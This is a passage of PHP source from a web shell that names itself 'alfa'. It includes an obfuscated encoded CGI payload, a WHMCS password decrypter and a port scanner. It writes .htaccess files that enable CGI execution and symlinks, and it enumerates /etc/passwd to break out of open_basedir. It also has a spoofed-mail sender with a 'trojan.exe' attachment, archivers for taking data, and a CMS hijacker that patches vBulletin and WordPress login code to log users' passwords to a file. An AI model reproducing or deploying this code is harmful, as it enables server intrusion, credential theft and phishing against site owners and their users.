4Nb77GlU+EM8D0grGYVCsB7WTSssMYJ99DhGoCd4/Y1AgtOwJxoL8TdT67aV2S/uW8o3gli5te47fup9G8PTkNaDVxX/2Jj47e1MbCI3k77siYZXVs2doA67G5iNftZHmG6IVxJMvKNdxlUMuYrO6zAR+fre54uFtAK6+hRabAAK0zBkl0dpJXNDjsfuhxOrCu3JB4YSp0Tr6T6dW65wKdLq7QGcBM28adIJYYLIs5wn0IVKLgkDSJTTcaNdlwCOClIyTryB972UpYTki/3HX9enbNfS2bBjrfD6KoP3NR8gS7G8kWFyoiHfzgp5QUmuJ3qMkhlrC+gFHOz3xXDt+QSegqEUW/IA/2mxqOxKowwX9VRjOFKMEs8IzAcX2LD2eTC4nkzcO8nFnC7lYy20jjZa1KQR6tRKxBY9YTV6YG0hlOf4xje7LoJn5RJbkJ8hDt0m5YU9bzZ7L+2bU1DWDQZ5OMEudphc6z3GGTw/Npbr0YCz1UVSfNBPJ6wTMl/Ni+UUhe5XaiG2qjBj9UII3wfNlAUGKUxF/WtAEZrygtYlBIjMR4PDHTQuttG7RPjpCQIK7Wr2F3XjUO4TVGwqEQEHZK9gwtth9ksnSuhXiiJA2k5vt4a7jBGjj4NCPc6dAA3a0KKOBDvEDx52HEOCrWnsIbm8IDT/D727xqyxb4S2QtTYbWNBGuKwlqkHEbTjcYkNIHiIo8gcDbPfZ1wvwTgLcYfaCAMiNEHQDz9gdqy6cV4gwOhlPTrdk9W5xjVMvEVDOhPZgwoQNu26Pkn99N6T7+MF1KpxEQoNeonoB1BYrSVVg0wIeZRXHoixR+GaI66d/GpFL909qeAkIY5w3PUM4dY7q5XCbAR60XSnrJXfffc2u2z0sxPPB59i2ZkZNejYpPioOFOA8cp0OXg1a+am5oDaV4FV3GMKIxibFF9ZUYtaCpL8DySTcg0q+WNwGKbTuJ3fPh+5pAXdBr15xe8Ft8OyAcQ2MrGZhpUQZs0KEQuEb4ZcPV1DdBfQGCHcbu9vtzvZY/zFqvqOmBJMXKhWmgoDWBnPo/c8frylhMfp1AUHfvfsg+Mu52zGI2zGo3/waHpwSrwXdX35xGfY7ey8ge/QYH0rATxTi2rCJKdmX4v3ZgJuT79+vxluhyyVdfqXgoTBr/32RU+oVACu0ijOJbQsCGWuVSJPD8D03gmx0BYkOH99AMOtoApEL7uwZk5nUj1DX8WZbnX7QOfQ/HBUmxza4y8xDSbgbu38mGf+P2AOSd0wOL2cJq7B1mg44s+wPJ4TfVROcnHVXMPiYwBmEjt0+H9APzcPJLbZ70bpINbznCXO9BvckhzEfOe5NPtSzqVma3dbmw7eVjFFMcdh9aaHa6oRrlYT5bX64fvfjwjnItcOb8d0QMYC7dxDebmvFfdf5d7Ytif303E+4Oh28ln+xiL5AxD6X4FNut2jtMm7kdi6c/LB94iqKz8jgv11NVZo=")),\'<string>\',\'exec\'))';
  5066. if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
  5067. if(__write_file($name,$code)){
  5068. @chmod($name,0755);
  5069. echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
  5070. }
  5071. }
  5072. echo $div;
  5073. alfafooter();
  5074. }
  5075. function alfaWhmcs(){
  5076. alfahead();
  5077. echo '<div class=header>';
  5078. function decrypt($string,$cc_encryption_hash){
  5079. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  5080. $hash_key = _hash($key);
  5081. $hash_length = strlen ($hash_key);
  5082. $string = __ZGVjb2Rlcg($string);
  5083. $tmp_iv = substr ($string, 0, $hash_length);
  5084. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  5085. $iv = $out = '';
  5086. $c = 0;
  5087. while ($c < $hash_length)
  5088. {
  5089. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  5090. ++$c;
  5091. }
  5092. $key = $iv;
  5093. $c = 0;
  5094. while ($c < strlen ($string))
  5095. {
  5096. if (($c != 0 AND $c % $hash_length == 0))
  5097. {
  5098. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  5099. }
  5100. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  5101. ++$c;
  5102. }
  5103. return $out;
  5104. }
  5105. function _hash($string)
  5106. {
  5107. if(function_exists('sha1'))
  5108. {
  5109. $hash = sha1 ($string);
  5110. }
  5111. else
  5112. {
  5113. $hash = md5 ($string);
  5114. }
  5115. $out = '';
  5116. $c = 0;
  5117. while ($c < strlen ($hash))
  5118. {
  5119. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  5120. $c += 2;
  5121. }
  5122. return $out;
  5123. }
  5124. AlfaNum(8,9,10);
  5125. echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
  5126. <input type='hidden' name='form_action' value='2'>";
  5127. $table = array('td1' =>
  5128. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  5129. 'td2' =>
  5130. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  5131. 'td3' =>
  5132. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  5133. 'td4' =>
  5134. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  5135. 'td5' =>
  5136. array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
  5137. );
  5138. create_table($table);
  5139. echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
  5140. if($_POST['alfa5']!=''){
  5141. $db_host=($_POST['alfa7']);
  5142. $db_username=($_POST['alfa3']);
  5143. $db_password=($_POST['alfa4']);
  5144. $db_name=($_POST['alfa5']);
  5145. $cc_encryption_hash=($_POST['alfa6']);
  5146. echo __pre();
  5147. $conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
  5148. $query = mysqli_query($conn,"SELECT * FROM tblservers");
  5149. $num = mysqli_num_rows($query);
  5150. if ($num > 0){
  5151. for($i=0; $i <=$num-1; $i++){
  5152. $v = @mysqli_fetch_array($query);
  5153. $ipaddress = $v['ipaddress'];
  5154. $username = $v['username'];
  5155. $type = $v['type'];
  5156. $active = $v['active'];
  5157. $hostname = $v['hostname'];
  5158. echo("<center><table border='1'>");
  5159. $password = decrypt ($v['password'], $cc_encryption_hash);
  5160. echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
  5161. echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
  5162. echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
  5163. echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
  5164. echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
  5165. echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
  5166. echo "</table><br><br></center>";
  5167. }
  5168. $query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
  5169. $num1 = @mysqli_num_rows($query1);
  5170. if ($num1 > 0){
  5171. for($i=0; $i <=$num1 -1; $i++){
  5172. $v = mysqli_fetch_array($query1);
  5173. $registrar = $v['registrar'];
  5174. $setting = $v['setting'];
  5175. $value = decrypt($v['value'], $cc_encryption_hash);
  5176. if ($value==""){
  5177. $value=0;
  5178. }
  5179. echo("<center>Domain Reseller <br><center>");
  5180. echo("<center><table border='1'>");
  5181. echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
  5182. echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
  5183. echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
  5184. echo "</table><br><br></center>";
  5185. }
  5186. }
  5187. }else{__alert('<font color="red">tblservers is Empty...!</font>');};
  5188. }
  5189. echo "</div>";
  5190. alfafooter();
  5191. }
  5192. function alfaportscanner(){
  5193. alfahead();
  5194. echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
  5195. <form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
  5196. <input type="hidden" name="y" value="phptools">
  5197. <div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
  5198. <div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
  5199. <div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
  5200. </form></center><br>';
  5201. $start = strip_tags($_POST['alfa2']);
  5202. $end = strip_tags($_POST['alfa3']);
  5203. $host = strip_tags($_POST['alfa4']);
  5204. if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
  5205. echo __pre();
  5206. $packetContent = "GET / HTTP/1.1\r\n\r\n";
  5207. if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
  5208. else{
  5209. $packetContent = str_replace(array("\r","\n"), "", $packetContent);
  5210. $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
  5211. }
  5212. for($i = $start; $i<=$end; $i++){
  5213. $sock = @fsockopen($host, $i, $errno, $errstr, 3);
  5214. if($sock){
  5215. stream_set_timeout($sock, 5);
  5216. fwrite($sock, $packetContent."\r\n\r\n\x00");
  5217. $counter = 0;
  5218. $maxtry = 1;
  5219. $bin = "";
  5220. do{
  5221. $line = fgets($sock, 1024);
  5222. if(trim($line)=="")$counter++;
  5223. $bin .= $line;
  5224. }while($counter<$maxtry);
  5225. fclose($sock);
  5226. echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
  5227. echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
  5228. }
  5229. flush();
  5230. }
  5231. }
  5232. echo '</div>';
  5233. alfafooter();
  5234. }
  5235. function alfacgihtaccess($m,$d='', $symname=false){
  5236. $readme = "";
  5237. if($symname){$readme="\nReadmeName ".trim($symname);}
  5238. if($m=='cgi'){
  5239. $code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
  5240. }elseif($m=='sym'){
  5241. $code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
  5242. }elseif($m=='shtml'){
  5243. $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
  5244. }
  5245. @__write_file($d . ".htaccess", $code);
  5246. }
  5247. function alfabasedir(){
  5248. alfahead();
  5249. echo '<div class=header>
  5250. <center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
  5251. $passwd = _alfa_file('/etc/passwd');
  5252. if(is_array($passwd)){
  5253. $users = array();
  5254. $makepwd = alfaMakePwd();
  5255. $basedir = @ini_get('open_basedir');
  5256. $safe_mode = @ini_get('safe_mode');
  5257. if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
  5258. $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
  5259. $tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
  5260. $bash_users = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
  5261. $users = json_decode($bash_users, true);
  5262. $x=count($users);
  5263. if($x>=2){array_pop($users);--$x;}
  5264. }
  5265. if(!$basedir&&!$safe_mode){
  5266. $x=0;
  5267. foreach($passwd as $str){
  5268. $pos = strpos($str,':');
  5269. $username = substr($str,0,$pos);
  5270. $dirz = str_replace("{user}", $username, $makepwd);
  5271. if(($username != '')){
  5272. if (@is_readable($dirz)){
  5273. array_push($users,$username);
  5274. $x++;
  5275. }}}
  5276. }
  5277. echo '<br><br>';
  5278. echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
  5279. echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
  5280. echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
  5281. foreach($users as $user){
  5282. if(empty($user))continue;
  5283. $path = str_replace("{user}", $user, $makepwd);
  5284. echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
  5285. }
  5286. }else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
  5287. echo '<br><br></b>';
  5288. echo '</div>';
  5289. alfafooter();
  5290. }
  5291. function alfamail(){
  5292. alfahead();
  5293. echo '<div class=header>';
  5294. AlfaNum(8,9,10);
  5295. echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
  5296. $table = array(
  5297. 'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),
  5298. 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),
  5299. 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
  5300. 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
  5301. 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
  5302. );
  5303. create_table($table);
  5304. echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
  5305. if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
  5306. $mail_to = $_POST['alfa1'];
  5307. $mail_from = $_POST['alfa2'];
  5308. $mail_subject = $_POST['alfa3'];
  5309. $mail_content = $_POST['alfa5'];
  5310. $count_mail = (int)$_POST['alfa6'];
  5311. $mail_attach = $_POST['alfa7'];
  5312. if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
  5313. if(!empty($mail_attach)&&@is_file($mail_attach)){
  5314. $file = $mail_attach;
  5315. $content = __read_file($file);
  5316. $content = chunk_split(__ZW5jb2Rlcg($content));
  5317. $uid = md5(uniqid(time()));
  5318. $filename = basename($file);
  5319. $headers = "From: ".$mail_from." <".$mail_from.">\r\n";
  5320. $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
  5321. $headers .= "Reply-To: ".$mail_from."\r\n";
  5322. $headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
  5323. $headers .= 'MIME-Version: 1.0' . "\r\n";
  5324. $headers .= 'X-Mailer: php' . "\r\n";
  5325. $mail_content = "--".$uid."\r\n";
  5326. $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
  5327. $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
  5328. $mail_content .= $mail_content."\r\n\r\n";
  5329. $mail_content .= "--".$uid."\r\n";
  5330. $mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
  5331. $mail_content .= "Content-Transfer-Encoding: base64\r\n";
  5332. $mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
  5333. $mail_content .= $content."\r\n\r\n";
  5334. $mail_content .= "--".$uid."--";
  5335. }else{
  5336. $headers = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
  5337. $headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
  5338. $headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
  5339. $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
  5340. $headers .= 'MIME-Version: 1.0' . "\r\n";
  5341. $headers .= 'X-Mailer: php' . "\r\n";
  5342. }
  5343. if(empty($count_mail)||$count_mail<1)$count_mail=1;
  5344. if(!empty($mail_from)){echo __pre();
  5345. for($i=1;$i<=$count_mail;$i++){
  5346. if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
  5347. }}else{__alert("Invalid Mail From !");}
  5348. }else{__alert("Invalid Mail To !");}
  5349. }
  5350. echo('</div>');
  5351. alfafooter();
  5352. }
  5353. function alfaziper(){
  5354. alfahead();
  5355. AlfaNum(8,9,10);
  5356. echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
  5357. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  5358. <div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
  5359. <div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
  5360. <input type="submit" value=" " name="ziper" />
  5361. </form></center></p>';
  5362. if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
  5363. $dirzip = $_POST['alfa3'];
  5364. $zipfile = $_POST['alfa4'];
  5365. if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
  5366. alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
  5367. echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
  5368. }elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
  5369. alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
  5370. echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
  5371. }elseif(class_exists('ZipArchive')){
  5372. if(__alfaziper($dirzip, $zipfile)){
  5373. echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
  5374. }else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
  5375. }
  5376. }
  5377. echo '</div>';
  5378. alfafooter();
  5379. }
  5380. function __alfaziper($source,$destination){
  5381. if(!extension_loaded('zip')||!file_exists($source)){
  5382. return false;
  5383. }
  5384. $zip=new ZipArchive();
  5385. if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
  5386. return false;
  5387. }
  5388. $source=str_replace('\\','/',realpath($source));
  5389. if(is_dir($source)===true){
  5390. $files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
  5391. foreach($files as $file){
  5392. $file=str_replace('\\','/',$file);
  5393. if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
  5394. $file=realpath($file);
  5395. if(is_dir($file)===true){
  5396. $zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
  5397. }else if(is_file($file)===true){
  5398. $zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
  5399. }
  5400. }
  5401. }else if(is_file($source)===true){
  5402. $zip->addFromString(basename($source),file_get_contents($source));
  5403. }
  5404. return $zip->close();
  5405. }
  5406. function alfadeziper(){
  5407. alfahead();
  5408. AlfaNum(8,9,10);
  5409. echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
  5410. <form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  5411. <div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
  5412. <div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
  5413. <input type="submit" value=" " name="ziper" />
  5414. </form></center></p>';
  5415. if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
  5416. $dirzip = $_POST['alfa3'];
  5417. $zipfile = $_POST['alfa4'];
  5418. if(@!is_dir($zipfile)){
  5419. @mkdir($zipfile, 0777, true);
  5420. }
  5421. $finfo = "";
  5422. $file_type = "";
  5423. if(function_exists('finfo_open')){
  5424. $finfo = @finfo_open(FILEINFO_MIME_TYPE);
  5425. $file_type = @finfo_file($finfo, $dirzip);
  5426. @finfo_close($finfo);
  5427. }else{
  5428. if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
  5429. $file_type = alfaEx('file -b --mime-type ' . $dirzip);
  5430. }
  5431. }
  5432. if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
  5433. alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
  5434. echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
  5435. }elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
  5436. switch ($file_type) {
  5437. case 'application/zip':
  5438. alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
  5439. break;
  5440. case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
  5441. if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
  5442. alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
  5443. }else{
  5444. alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
  5445. }
  5446. break;
  5447. }
  5448. echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
  5449. }elseif(class_exists('ZipArchive')){
  5450. $itsok = false;
  5451. if(emtpy($file_type)){
  5452. $file_type = "application/zip";
  5453. }
  5454. switch ($file_type) {
  5455. case 'application/zip':
  5456. $zip = new ZipArchive;
  5457. $res = $zip->open($dirzip);
  5458. if ($res) {
  5459. $zip->extractTo($zipfile);
  5460. $zip->close();
  5461. $itsok = true;
  5462. }
  5463. break;
  5464. case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
  5465. if(strstr(basename($dirzip), ".tar.gz")){
  5466. $new_file = $zipfile .'/'. basename($dirzip);
  5467. @copy($dirzip, $new_file);
  5468. $new_tar = str_replace(".tar.gz", ".tar", $new_file);
  5469. try {
  5470. $p = new PharData($new_file);
  5471. $p->decompress();
  5472. $phar = new PharData($new_tar);
  5473. $phar->extractTo($zipfile);
  5474. @unlink($new_file);
  5475. @unlink($new_tar);
  5476. $itsok = true;
  5477. } catch (Exception $e) {
  5478. }
  5479. }else{
  5480. try {
  5481. $phar = new PharData($dirzip);
  5482. $phar->extractTo($zipfile);
  5483. $itsok = true;
  5484. } catch (Exception $e) {
  5485. }
  5486. }
  5487. break;
  5488. }
  5489. if($itsok){
  5490. echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
  5491. }else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
  5492. }
  5493. }
  5494. echo '</div>';
  5495. alfafooter();
  5496. }
  5497. function alfacmshijacker(){
  5498. alfahead();
  5499. AlfaNum(5,6,7,8,9,10);
  5500. echo '<div class=header><br>
  5501. <center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
  5502. <div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
  5503. $cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
  5504. foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
  5505. echo("</select>");
  5506. echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
  5507. SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
  5508. <input type="submit" name="btn" value=" "></form></center><br>';
  5509. $cms = $_POST['alfa1'];
  5510. $saveto = $_POST['alfa2'];
  5511. $cmspath = $_POST['alfa4'];
  5512. if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
  5513. echo __pre();
  5514. alfaHijackCms($cms,$cmspath,$saveto);
  5515. }
  5516. echo '</div>';
  5517. alfafooter();
  5518. }
  5519. function alfaHijackCms($cms,$cmspath,$saveto){
  5520. switch($cms){
  5521. case "vb":
  5522. hijackvBulletin($cmspath,$saveto);
  5523. break;
  5524. case "wp":
  5525. hijackwp($cmspath,$saveto);
  5526. break;
  5527. case "jom":
  5528. hijackJoomla($cmspath,$saveto);
  5529. break;
  5530. case "whmcs":
  5531. hijackWhmcs($cmspath,$saveto);
  5532. break;
  5533. case "mybb":
  5534. hijackMybb($cmspath,$saveto);
  5535. break;
  5536. case "ipb":
  5537. hijackIPB($cmspath,$saveto);
  5538. break;
  5539. case "phpbb":
  5540. hijackPHPBB($cmspath,$saveto);
  5541. break;
  5542. default:
  5543. echo "error!";
  5544. break;
  5545. }
  5546. }
  5547. function hijackvBulletin($path,$saveto){
  5548. $code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  5549. $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
  5550. $code=str_replace('{saveto_path}',$saveto,$code);
  5551. $login = $path."/login.php";
  5552. $class = $path."/includes/class_bootstrap.php";
  5553. $dologin = 'do_login_redirect();';
  5554. $evil_login = "\t".$code."\n\t".$dologin;
  5555. $evil_class = "true";
  5556. if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
  5557. $data_login = @file_get_contents($login);
  5558. $data_class = @file_get_contents($class);
  5559. if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
  5560. $login_replace = str_replace($dologin,$evil_login, $data_login);
  5561. $class_replace = str_replace($clearpw,$evil_class, $data_class);
  5562. @file_put_contents($login, $login_replace);
  5563. @file_put_contents($class, $class_replace);
  5564. hijackOutput(0,$saveto);
  5565. }else{
  5566. hijackOutput(1);
  5567. }
  5568. }else{
  5569. hijackOutput(1);
  5570. }
  5571. }
  5572. function hijackwp($path,$saveto){
  5573. $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  5574. $redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
  5575. $code=str_replace('{saveto_path}',$saveto,$code);
